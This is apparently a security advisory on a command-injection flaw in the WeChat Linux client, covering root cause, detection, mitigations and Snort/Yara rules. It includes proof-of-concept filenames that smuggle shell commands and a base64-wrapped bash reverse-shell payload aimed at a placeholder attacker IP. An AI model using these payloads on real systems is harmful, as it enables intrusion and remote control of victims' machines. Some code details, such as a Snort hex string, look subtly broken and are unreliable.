Critical Remote Command Execution Flaw in WeChat Linux 4.1.0.13 Impacts Major Chinese OSes, Skips HarmonyOS

Vulnerability Overview

In February 2026 a remote command execution (RCE) vulnerability was discovered in the WeChat Linux client (versions 4.1.0.13 and earlier). The issue is tracked as WM‑202602‑000002 (Anheng) and LDYVUL‑2026‑00022304 (360) with a CVSS score of 8.8 (high). It is triggered when a user clicks a received file whose name contains shell meta‑characters such as backticks, $(…), semicolons, etc.

Technical Root Cause

The client is built on Chromium Embedded Framework (CEF) with Qt for UI. During file reception it concatenates the raw filename into a temporary path and later builds a command string for xdg-open that is executed via child_process.exec without any sanitisation.

function handleReceivedFile(fileInfo) {
  const fileName = fileInfo.fileName; // data from network
  const savePath = `/tmp/wechat/${fileName}`; // direct concatenation
  fs.writeFile(savePath, fileInfo.content);
  registerFileOpenHandler(savePath, () => {
    openFile(savePath); // calls opening function
  });
}

function openFile(filePath) {
  const command = `xdg-open "${filePath}"`;
  child_process.exec(command, (error) => {
    if (error) console.error('Failed to open file:', error);
  });
}

If filePath contains characters that the shell interprets (e.g., backticks or $(…)), the shell expands them and executes the embedded command, resulting in arbitrary command execution.

Exploitation Details

Attackers craft filenames such as `whoami`.pdf or $(whoami).pdf. When the victim clicks the file, the client runs xdg-open "`whoami`.pdf", the shell evaluates the backticks, and the whoami command runs on the target.

Basic proof‑of‑concept payloads:

# create malicious files
touch '`id`.pdf'
 touch '$(whoami).pdf'
 touch '`uname -a`.txt'

More advanced payloads use Base64‑encoded commands that are decoded and piped to bash:

# reverse‑shell payload generation (bash)
ATTACKER_IP="10.10.10.129"
ATTACKER_PORT="9001"
PAYLOAD="bash -i >& /dev/tcp/${ATTACKER_IP}/${ATTACKER_PORT} 0>&1"
ENCODED=$(echo -n "$PAYLOAD" | base64)
FINAL_NAME="$(echo $ENCODED | base64 -d | bash).pdf"

Detection and Verification

Static analysis : locate the WeChat process and inspect its command line and open file descriptors.

# find WeChat process
ps aux | grep -i wechat
# view command line
cat /proc/$(pgrep -f wechat)/cmdline | tr '\0' ' '
# list file descriptors
ls -la /proc/$(pgrep -f wechat)/fd/

Dynamic analysis : monitor execve‑related syscalls with strace.

# monitor execve calls
sudo strace -f -e trace=execve -p $(pgrep -f wechat) -o /tmp/wechat_strace.log

PoC verification (create a test file and click it):

# create test file
cd /tmp/wechat/
 touch '`id`;kcalc`.pdf'
ls -la '`id`;kcalc`.pdf'

Mitigation Strategies

Temporary user‑level mitigations :

Avoid opening files whose names contain backticks, $(, semicolons, or other shell syntax; use the web version of WeChat instead.

Apply an AppArmor or SELinux profile that restricts the client’s ability to invoke xdg-open, e.g. sudo apparmor_parser -r /etc/apparmor.d/wechat.

Network‑level mitigations : block outbound traffic to unknown hosts and whitelist only official WeChat domains.

# allow only official domains
sudo iptables -A OUTPUT -p tcp --dport 443 -d weixin.qq.com -j ACCEPT
sudo iptables -A OUTPUT -p tcp --dport 443 -d web.wechat.com -j ACCEPT
sudo iptables -A OUTPUT -p tcp --dport 443 -j DROP

Enterprise‑grade mitigations : deploy endpoint detection and response (EDR) solutions (e.g., Qi An Xin Tianyan, Sangfor EDR, Microsoft Defender for Endpoint) to detect abnormal command execution and enforce network segmentation.

Detection Rules

Snort example:

alert tcp any any -> any any (msg:"WeChat Linux Command Injection Attempt"; content:"|60 61 63 6b 74 69 6b 65|`"; nocase; sid:1000001;)
alert tcp any any -> any any (msg:"WeChat Linux Base64 Command Injection"; content:"base64"; content:"-d|bash"; distance:0; sid:1000002;)

Yara example:

rule wechat_linux_command_injection {
  meta:
    description = "Detects potential command injection in WeChat Linux"
    author = "Security Researcher"
    date = "2026-02-10"
  strings:
    $dangerous_filename = /[`$]\(.*\)|`.*`/ nocase
    $base64_pattern = /echo\s+[A-Za-z0-9+\/=]{20,}\|base64\s+-d\|bash/
  condition:
    $dangerous_filename or $base64_pattern
}

Impact Assessment

The flaw affects any system running the WeChat Linux client, covering mainstream distributions (Ubuntu, Debian, Fedora, CentOS, RHEL, Arch, openSUSE), Chinese‑made operating systems (UOS, Kylin, etc.), as well as WSL and container environments. Enterprise users, developers, and government agencies that rely on the client are especially exposed.

Potential consequences include arbitrary command execution, data leakage, system compromise, and the need for remediation (cron jobs, systemd services, SSH key persistence, etc.).

Conclusion

Until an official patch is released, the safest approach is to avoid the WeChat Linux client or use the web version, enforce OS‑level restrictions (AppArmor/SELinux), and apply network whitelisting. This case demonstrates how a classic command‑injection flaw in a widely used communication tool can create a large attack surface across diverse Linux environments.